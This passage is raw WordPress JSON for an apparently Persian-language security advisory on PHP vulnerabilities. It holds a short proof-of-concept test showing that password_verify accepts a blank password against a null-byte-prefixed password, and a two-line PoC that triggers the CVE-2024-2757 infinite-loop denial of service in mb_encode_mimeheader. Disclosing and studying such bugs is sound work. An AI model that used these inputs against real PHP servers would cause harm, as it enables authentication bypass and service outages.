urvanov-syntax-highlighter-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"urvanov-syntax-highlighter-plain-wrap\"><textarea class=\"urvanov-syntax-highlighter-plain print-no\" readonly=\"readonly\" wrap=\"soft\" data-settings=\"dblclick\">&lt;br \/&gt;<br \/>\n&lt;?php declare(strict_types=1); $pw = &#8220;\\x00\\x30&#8243;;&lt;br \/&gt;<br \/>\n$hash = password_hash($pw, PASSWORD_DEFAULT); assert(password_verify(password: &#8216;wrong&#8217;, hash: $hash) === false, &#8216;Incorect password should not verify&#8217;);&lt;br \/&gt;<br \/>\nassert(password_verify(password: &#8221;, hash: $hash) === false, &#8216;Blank password should not verify&#8217;);&lt;br \/&gt;<br \/>\nassert(password_verify(password: $pw, hash: $hash) === true, &#8216;Correct password should verify&#8217;);&lt;br \/&gt;<br \/>\nassert(password_verify(password: strrev($pw), hash: $hash) === false, &#8216;Reversed correct password not should verify&#8217;);<\/textarea><\/div>\n<div class=\"urvanov-syntax-highlighter-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"urvanov-syntax-highlighter-row\">\n<td class=\"crayon-nums \" data-settings=\"show\"><\/td>\n<td class=\"urvanov-syntax-highlighter-code\">\n<div class=\"crayon-pre\">\n<div id=\"urvanov-syntax-highlighter-661e396ad4b43553634077-3\" class=\"crayon-line\"><span class=\"crayon-r\">declare<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">strict_types<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b43553634077-5\" class=\"crayon-line\"><span class=\"crayon-v\">$pw<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;\\x00\\x30&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b43553634077-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">$hash<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">password_hash<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$pw<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">PASSWORD_DEFAULT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b43553634077-8\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-st\">assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">password_verify<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">password<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-s\">&#8216;wrong&#8217;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">hash<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">$hash<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">===<\/span> <span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8216;Incorect password should not verify&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b43553634077-9\" class=\"crayon-line\"><span class=\"crayon-st\">assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">password_verify<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">password<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">hash<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">$hash<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">===<\/span> <span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8216;Blank password should not verify&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b43553634077-10\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-st\">assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">password_verify<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">password<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">$pw<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">hash<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">$hash<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">===<\/span> <span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8216;Correct password should verify&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b43553634077-11\" class=\"crayon-line\"><span class=\"crayon-st\">assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">password_verify<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">password<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">strrev<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$pw<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">hash<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">$hash<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">===<\/span> <span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8216;Reversed correct password not should verify&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><!-- [Format Time: 0.0034 seconds] --><\/p>\n<p>\u0627\u06af\u0647 \u0641\u0627\u06cc\u0644 \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u062f :<\/p>\n<p><!-- Urvanov Syntax Highlighter v2.8.36 --><\/p>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b45992379619\" class=\"urvanov-syntax-highlighter-syntax crayon-theme-bncplusplus urvanov-syntax-highlighter-font-tahoma urvanov-syntax-highlighter-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"urvanov-syntax-highlighter-plain-wrap\"><textarea class=\"urvanov-syntax-highlighter-plain print-no\" readonly=\"readonly\" wrap=\"soft\" data-settings=\"dblclick\">&lt;br \/&gt;<br \/>\nAssertionError: Blank password should not verify in &#8230;\/pw_bug.php on line 9 Call Stack: 0.0002 496408 1. {main}() &#8230;\/pw_bug.php:0 0.1998 496536 2. assert($assertion = FALSE, $description = &#8216;Blank password should not verify&#8217;) &#8230;\/pw_bug.php:9<\/textarea><\/div>\n<div class=\"urvanov-syntax-highlighter-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"urvanov-syntax-highlighter-row\">\n<td class=\"crayon-nums \" data-settings=\"show\"><\/td>\n<td class=\"urvanov-syntax-highlighter-code\">\n<div class=\"crayon-pre\">\n<div id=\"urvanov-syntax-highlighter-661e396ad4b45992379619-1\" class=\"crayon-line\"><span class=\"crayon-v\">AssertionError<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">Blank <\/span><span class=\"crayon-e\">password <\/span><span class=\"crayon-e\">should <\/span><span class=\"crayon-st\">not<\/span> <span class=\"crayon-e\">verify <\/span><span class=\"crayon-st\">in<\/span> <span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">pw_bug<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">php <\/span><span class=\"crayon-e\">on <\/span><span class=\"crayon-i\">line<\/span> <span class=\"crayon-cn\">9<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b45992379619-3\" class=\"crayon-line\"><span class=\"crayon-e\">Call <\/span><span class=\"crayon-v\">Stack<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b45992379619-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-cn\">0.0002<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-cn\">496408<\/span><span class=\"crayon-h\">\u00a0\u00a0 <\/span><span class=\"crayon-cn\">1.<\/span> <span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">main<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">pw_bug<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">php<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">0<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b45992379619-5\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-cn\">0.1998<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-cn\">496536<\/span><span class=\"crayon-h\">\u00a0\u00a0 <\/span><span class=\"crayon-cn\">2.<\/span> <span class=\"crayon-st\">assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">assertion<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-t\">FALSE<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">description<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8216;Blank password should not verify&#8217;<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">pw_bug<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">php<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">9<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><!-- [Format Time: 0.0005 seconds] --><\/p>\n<p>\u0646\u0633\u062e\u0647 \u0647\u0627\u06cc \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631:<\/p>\n<p>\u0646\u0633\u062e\u0647 \u0647\u0627\u06cc \u0627\u0635\u0644\u0627\u062d \u0634\u062f\u0647:<\/p>\n<h2>\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc CVE-2024-2757 :<\/h2>\n<p>\u0648\u0631\u0648\u062f\u06cc\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u0628\u0647 mb_encode_mimeheader\u00a0 \u060c \u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u06cc\u062c\u0627\u062f \u062d\u0644\u0642\u0647 \u0628\u06cc \u067e\u0627\u06cc\u0627\u0646 \u0645\u06cc\u0634\u0646 \u06a9\u0647 \u062f\u0631 \u0646\u062a\u06cc\u062c\u0647 \u0627\u0645\u06a9\u0627\u0646 DoS \u0631\u0648 \u0645\u06cc\u062f\u0647. \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u06cc\u06a9 \u0627\u0644\u06af\u0648\u06cc \u0642\u0627\u0628\u0644 \u062a\u0634\u062e\u06cc\u0635 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0646\u0634\u062f\u0647 \u0627\u0645\u0627 \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u062e\u0627\u0635 \u0645\u06cc\u062a\u0648\u0646\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u06cc\u0646 \u0642\u0636\u06cc\u0647 \u0628\u0634\u0647. \u0627\u0645\u062a\u06cc\u0627\u0632 7.5 \u0648 \u0634\u062f\u062a \u0628\u0627\u0644\u0627 \u062f\u0627\u0631\u0647.<\/p>\n<p>\u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0627\u0628\u0639 mb_encode_mimeheader \u062f\u0631 \u062e\u06cc\u0644\u06cc \u0627\u0632 \u0631\u0648\u0627\u0644\u0647\u0627\u06cc \u067e\u0631\u062f\u0627\u0632\u0634 \u0627\u06cc\u0645\u06cc\u0644 \u060c \u0628\u062e\u0635\u0648\u0635 \u0645\u0648\u0627\u0631\u062f\u06cc \u06a9\u0647 \u0648\u0631\u0648\u0631\u062f\u06cc\u0647\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631 \u0645\u062f\u06cc\u0631\u06cc\u062a \u0645\u06cc\u06a9\u0646\u0646\u060c \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647\u060c \u0627\u0645\u06a9\u0627\u0646 \u062d\u0645\u0644\u0627\u062a DoS \u0631\u0648 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u06a9\u0646\u0647. \u0645\u062b\u0644\u0627 \u062f\u0631 CakePHP 5 \u060c \u0627\u0632 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0628\u0631\u0627\u06cc \u0627\u0646\u06a9\u062f \u06a9\u0631\u062f\u0646 \u0645\u0648\u0636\u0648\u0639 \u0627\u06cc\u0645\u06cc\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647.<\/p>\n<p>PoC :<\/p>\n<p>\u062f\u0631 PHP 8.3.3 \u060c \u06a9\u062f \u0632\u06cc\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u062f\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0631\u0648 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0646\u06cc\u062f :<\/p>\n<p><!-- Urvanov Syntax Highlighter v2.8.36 --><\/p>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b48562272719\" class=\"urvanov-syntax-highlighter-syntax crayon-theme-bncplusplus urvanov-syntax-highlighter-font-tahoma urvanov-syntax-highlighter-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"urvanov-syntax-highlighter-plain-wrap\"><textarea class=\"urvanov-syntax-highlighter-plain print-no\" readonly=\"readonly\" wrap=\"soft\" data-settings=\"dblclick\">&lt;br \/&gt;<br \/>\n&lt;?php&lt;br \/&gt;<br \/>\nmb_internal_encoding(&#8216;UTF-8&#8217;);&lt;br \/&gt;<br \/>\nmb_encode_mimeheader(&#8220;,9868949,9868978,9869015,9689100,9869121,9869615,9870690,9867116,98558119861183. &#8220;, &#8220;utf-8&#8221;, &#8220;B&#8221;);<\/textarea><\/div>\n<div class=\"urvanov-syntax-highlighter-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"urvanov-syntax-highlighter-row\">\n<td class=\"crayon-nums \" data-settings=\"show\"><\/td>\n<td class=\"urvanov-syntax-highlighter-code\">\n<div class=\"crayon-pre\">\n<div id=\"urvanov-syntax-highlighter-661e396ad4b48562272719-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">mb_internal_encoding<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;UTF-8&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"urvanov-syntax-highlighter-661e396ad4b48562272719-3\" class=\"crayon-line\"><span class=\"crayon-e\">mb_encode_mimeheader<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;,9868949,9868978,9869015,9689100,9869121,9869615,9870690,9867116,98558119861183. &#8220;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;utf-8&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;B&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><!-- [Format Time: 0.0003 seconds] --><\/p>\n<p>\u0646\u0633\u062e\u0647 \u06cc \u062a\u062d\u062a \u062a\u0627\u062b\u06cc\u0631:<\/p>\n<p dir=\"ltr\">&lt; 8.3.5<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0632\u0645\u0627\u0646 \u0645\u0637\u0627\u0644\u0639\u0647: 3 \u062f\u0642\u06cc\u0642\u0647 \u062a\u06cc\u0645 \u062a\u0648\u0633\u0639\u0647 \u06cc PHP \u0627\u0639\u0644\u0627\u0645 \u06a9\u0631\u062f\u0647 \u06a9\u0647 \u06cc\u0633\u0631\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0631\u0648 \u0627\u0635\u0644\u0627\u062d \u06a9\u0631\u062f\u0647 \u06a9\u0647 \u0627\u0645\u06a9\u0627\u0646 Command Injection \u060c \u062f\u0648\u0631 \u0632\u062f\u0646 \u0627\u062d\u0631\u0627\u0632\u0647\u0648\u06cc\u062a \u0648 DoS \u0631\u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u062f\u0647. PHP \u067e\u0631 \u0645\u0635\u0631\u0641 \u062a\u0631\u06cc\u0646 \u0632\u0628\u0627\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u0646\u0648\u06cc\u0633\u06cc \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a\u06cc \u0647\u0633\u062a\u0634 \u06a9\u0647 \u062a\u0642\u0631\u06cc\u0628\u0627 79.2% \u0627\u0632 \u0648\u0628 \u0633\u0627\u06cc\u062a\u0647\u0627\u06cc \u06a9\u0644 \u062c\u0647\u0627\u0646 \u0627\u0632\u0634 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u0646\u060c \u06a9\u0647 \u062d\u062f\u0648\u062f 40 \u062f\u0631\u0635\u062f\u0634 &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,28,29,34],"tags":[],"class_list":["post-56287","post","type-post","status-publish","format-standard","hentry","category-vulnerability","category-28","category-29","category-server"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56287","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56287"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56287\/revisions"}],"predecessor-version":[{"id":56384,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56287\/revisions\/56384"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56287"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56287"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56287"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}